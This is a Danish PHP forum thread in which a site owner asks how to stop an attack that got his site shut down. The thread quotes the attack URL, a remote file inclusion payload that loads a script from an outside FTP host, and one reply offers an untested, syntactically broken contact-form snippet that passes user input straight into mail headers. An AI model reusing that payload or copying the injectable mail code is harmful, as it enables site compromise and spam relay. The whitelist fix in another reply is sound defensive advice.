/ Forside / Teknologi / Udvikling / PHP / Nyhedsindlæg
Login
Glemt dit kodeord?
Brugernavn

Kodeord


Reklame
Top 10 brugere
PHP
#NavnPoint
rfh 3959
natmaden 3372
poul_from 3310
funbreak 2700
stone47 2230
Jin2k 1960
Angband 1743
Bjerner 1249
refi 1185
10  Interkril.. 1146
side misbrugt, hvad kan jeg gøre
Fra : Sonni Jensen


Dato : 31-10-10 15:38

Jeg har fået misbrugt siden, og skal nu prøve at få dæmmet op for
det.

http://nv.mela9e.dk (dette er test, produktion på
www.nordiskvabene.dk er blevet lukket ned)

Jeg benytter en side opbygning, hvor jeg laver en mailframe.php
og så kalder en side, så det kommer til at se sådan ud

http://nv.mela9e.dk/mainframe.php?side=velkommen.php

Problemet er så at den er blevet misbrugt og udbyderen har lukket
siden indtil det er rettet. Misbruget ligger så i at der er
blevet sendt en kommando i adresse linien:

"http://www.nordiskvabene.dk/mainframe.php?side=ftp://imperial201
0:muitofdp@ftp.webcindario.com/Envia.txt?"

Hvad kan man gøre for ikke at kalde en side i linien, så dette
kan ske? hvordan opbygger i jeres?

--
Vil du lære at kode HTML, XHTML, CSS, SSI, ASP eller ASP.NET?
- Pædagogiske tutorials på dansk
- Kom godt i gang med koderne
KLIK HER! => http://www.html.dk/tutorials

 
 
Bertel Lund Hansen (31-10-2010)
Kommentar
Fra : Bertel Lund Hansen


Dato : 31-10-10 15:48

Sonni Jensen skrev:

> Problemet er så at den er blevet misbrugt og udbyderen har lukket
> siden indtil det er rettet. Misbruget ligger så i at der er
> blevet sendt en kommando i adresse linien:

Og din kode gør det muligt.

> "http://www.nordiskvabene.dk/mainframe.php?side=ftp://imperial201
> 0:muitofdp@ftp.webcindario.com/Envia.txt?"

> Hvad kan man gøre for ikke at kalde en side i linien, så dette
> kan ske?

Tester at det der står i adresselinjen er noget der godt må stå
der. Her er et eksempel hvor jeg har sat tilladte sidekoder op i
et array. Jeg nummererer lige tre vigtige linjer:

   $sider = Array (
      'index' => 'Forside',
      'skraekeksempler' => 'Skrækeksempler',
      'splittet' => 'Splittede ord',
      'sammenskrevet' => 'Sammenskrevne ord',
   );

1.    $code='index';
2.    $order=$_GET['page'];
3.    if (isset($sider[$order])) $code=$order;

Linje 1 sikrer at hvis der står noget forkert, så vises forsiden.

Linje to aflæser adresselinjens parameter (som jeg har kaldt
"page")

Linje 3 er den vigtige. Hvis ikke man kan slå den angivne
parameter op i mit array, så fejler if-testen, og $code bliver
ikke ændret.

--
Bertel
http://bertel.lundhansen.dk/         FIDUSO: http://fiduso.dk/

scootergrisen (06-11-2010)
Kommentar
Fra : scootergrisen


Dato : 06-11-10 19:54

Jeg gør det at jeg viser den samme side igen men med et andet resultat.

if(isset($_POST["funktion"]) && $_POST["funktion"] == "kontakt"){

$til = 'dig@her.der';
$emne = 'besked fra hjemmeside';
$fra = $_POST["from"];
$besked = $_POST["kommentar"];
$headers = "From: $fra <$fra>\r\n";

if(mail($til, $emne, $besked, $headers)){

$indhold .= 'beskden blev sendt.';

}else{

$indhold .= 'beskeden blev ikke sendt.';

}

}else{

$indhold .= '<form action="$_SERVER['PHP_SELF']">';
$indhold .= '<input type="hidden" name="funktion" value="kontakt"/>';
$indhold .= '<input type="text" name="from"/>';
$indhold .= '<input type="text" name="kommentar"/>';
$indhold .= '<input type="sumbit" value="send"/>';
$indhold .= '</form>';

}

Jeg har ikke testet koden men håber du kan bruge den.

Den 31-10-2010 15:38, Sonni Jensen skrev:
> Jeg har fået misbrugt siden, og skal nu prøve at få dæmmet op for
> det.
>
> http://nv.mela9e.dk (dette er test, produktion på
> www.nordiskvabene.dk er blevet lukket ned)
>
> Jeg benytter en side opbygning, hvor jeg laver en mailframe.php
> og så kalder en side, så det kommer til at se sådan ud
>
> http://nv.mela9e.dk/mainframe.php?side=velkommen.php
>
> Problemet er så at den er blevet misbrugt og udbyderen har lukket
> siden indtil det er rettet. Misbruget ligger så i at der er
> blevet sendt en kommando i adresse linien:
>
> "http://www.nordiskvabene.dk/mainframe.php?side=ftp://imperial201
> 0:muitofdp@ftp.webcindario.com/Envia.txt?"
>
> Hvad kan man gøre for ikke at kalde en side i linien, så dette
> kan ske? hvordan opbygger i jeres?
>

Søg
Reklame
Statistik
Spørgsmål : 177435
Tips : 31962
Nyheder : 719565
Indlæg : 6407988
Brugere : 218879

Månedens bedste
Årets bedste
Sidste års bedste